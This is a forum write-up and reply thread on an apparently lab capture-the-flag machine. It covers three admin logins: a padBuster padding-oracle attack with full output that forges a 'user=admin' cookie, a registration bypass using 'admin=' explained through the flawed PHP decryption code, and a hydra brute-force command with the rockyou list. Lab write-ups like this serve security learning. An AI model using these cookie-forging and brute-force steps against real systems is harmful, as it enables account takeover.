Lazy mini writeup - Ways to login

Three ways to login

Padding oracle - the intended way

After we register account with our name, we can see there is an auth cookie, because that is not the standard name for session cookies made with a framework, we can assume this could be vulnerable. Decoding a cookie with padbuster gives us a format of what is expected. This can be seen here with command ./padBuster.pl http://10.10.10.18/index.php HY6wUpomA2upW8HwQj4Cr5%2Big9ckarjd 8 -cookies "auth=HY6wUpomA2upW8HwQj4Cr5%2Big9ckarjd":

-------------------------------------------------------
ID#	Freq	Status	Length	Location
-------------------------------------------------------
1	1	200	1133	N/A
2 **	255	200	15	N/A
-------------------------------------------------------

Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2

Continuing test with selection 2

[+] Success: (231/256) [Byte 8]
[+] Success: (156/256) [Byte 7]
[+] Success: (175/256) [Byte 6]
[+] Success: (93/256) [Byte 5]
[+] Success: (219/256) [Byte 4]
[+] Success: (45/256) [Byte 3]
[+] Success: (6/256) [Byte 2]
[+] Success: (160/256) [Byte 1]

Block 1 Results:
[+] Cipher Text (HEX): a95bc1f0423e02af
[+] Intermediate Bytes (HEX): 68fdd520a7526618
[+] Plain Text: user=tes

Use of uninitialized value $plainTextBytes in concatenation (.) or string at ./padBuster.pl line 361, <STDIN> line 1.
*** Starting Block 2 of 2 ***

[+] Success: (85/256) [Byte 8]
[+] Success: (251/256) [Byte 7]
[+] Success: (200/256) [Byte 6]
[+] Success: (189/256) [Byte 5]
[+] Success: (16/256) [Byte 4]
[+] Success: (75/256) [Byte 3]
[+] Success: (199/256) [Byte 2]
[+] Success: (43/256) [Byte 1]

Block 2 Results:
[+] Cipher Text (HEX): 9fa283d7246ab8dd
[+] Intermediate Bytes (HEX): dd3eb3f5473b07aa
[+] Plain Text: ter

-------------------------------------------------------
** Finished ***

[+] Decrypted value (ASCII): user=tester

[+] Decrypted value (HEX): 757365723D7465737465720505050505

[+] Decrypted value (Base64): dXNlcj10ZXN0ZXIFBQUFBQ==

-------------------------------------------------------

Another thing to note here is the block size we choose is important, usual values are 8 or 16 for the cookies so to get here we could try both.

Then is just the process of encoding the admin cookie with value of user=admin. This is done with command ./padBuster.pl http://10.10.10.18/index.php HY6wUpomA2upW8HwQj4Cr5%2Big9ckarjd 8 -cookies "auth=HY6wUpomA2upW8HwQj4Cr5%2Big9ckarjd" -plaintext 'user=admin'. The next step is to use that value and set our auth cookie.

Login bypass

Because of unintended bug in the code bellow there is a way to register effectively create account with rights of an admin. To do that you have to register as admin= or with almost arbitrary = after the word admin. The next step is to login with this account and get the key. This is because = is a padding character in a base64 string, and those are trimmed out when the cookie is created.

The code with bug (important function is getuserfromcookie()):

in header:
if (isset($_COOKIE['auth'])){
    $user = User::getuserfromcookie($_COOKIE['auth']);
}

public static function getuserfromcookie($auth) {
    $passphrase = 'pntstrlb';
    $data = decryptString($auth, $passphrase);
    list($a, $user) = explode("=", $data);
    $sql = "SELECT * FROM users where login=\"";
    $sql.= mysql_real_escape_string($user);
    $sql.= "\"";
    $result = mysql_query($sql);
    if ($result) {
      if ($row = mysql_fetch_assoc($result)) {
        return $row['login'];
      }
      else {
        echo "User not found: ".htmlentities($user);
        return NULL;
      }
    }
    return NULL;
}

function decryptString($encryptedText, $passphrase) {
  $encrypted = base64_decode($encryptedText);
  $iv_size =  mcrypt_get_iv_size(MCRYPT_DES, MCRYPT_MODE_CBC);
  $iv = substr($encrypted,0,$iv_size);
  $dec = mcrypt_decrypt(MCRYPT_DES, $passphrase, substr($encrypted,$iv_size), MCRYPT_MODE_CBC, $iv);
  $str = pkcs5_unpad($dec); 
  if ($str === false) {
    echo "Invalid padding";
    die(); 
  }
  else {
    return $str; 
  }
}

Bruteforce - the noob way

Bruteforce can be done with the standard rockyou wordlist. I used hydra for this:
hydra 10.10.10.18 http-form-post "/login.php:username=^USER^&password=^PASS^:Invalid credentials" -l admin -P /usr/share/wordlists/rockyou.txt -t 10 -w 30 -o hydra-http-post-attack.txt

Extra way - the ippsec way

This is an interesting technique ippsec presented in his video:
Cookie Bitflip

cool

Pretty cool indeed Buckko. Brute forcing is probably the quickest way in though. Much quicker than the padding attack at least.

@delo Didn’t you read login bypass? that’s the quikest one.

@buckko - I guess that only works the first time though, so it wouldn’t work if you didn’t reset the machine before you started. since ‘admin=’ and 'admin ’ were the first two things I tried to register, neither worked - so I guess I just didn’t reset the machine first. :pensive:

@likwidsec said:
@buckko - I guess that only works the first time though, so it wouldn’t work if you didn’t reset the machine before you started. since ‘admin=’ and 'admin ’ were the first two things I tried to register, neither worked - so I guess I just didn’t reset the machine first. :pensive:

Could of done admin== (or any amount of equals :lol:

@ippsec said:

@likwidsec said:
@buckko - I guess that only works the first time though, so it wouldn’t work if you didn’t reset the machine before you started. since ‘admin=’ and 'admin ’ were the first two things I tried to register, neither worked - so I guess I just didn’t reset the machine first. :pensive:

Could of done admin== (or any amount of equals :lol:

Oh yeah… Guess that’s true. I’ll keep that in mind. :pensive: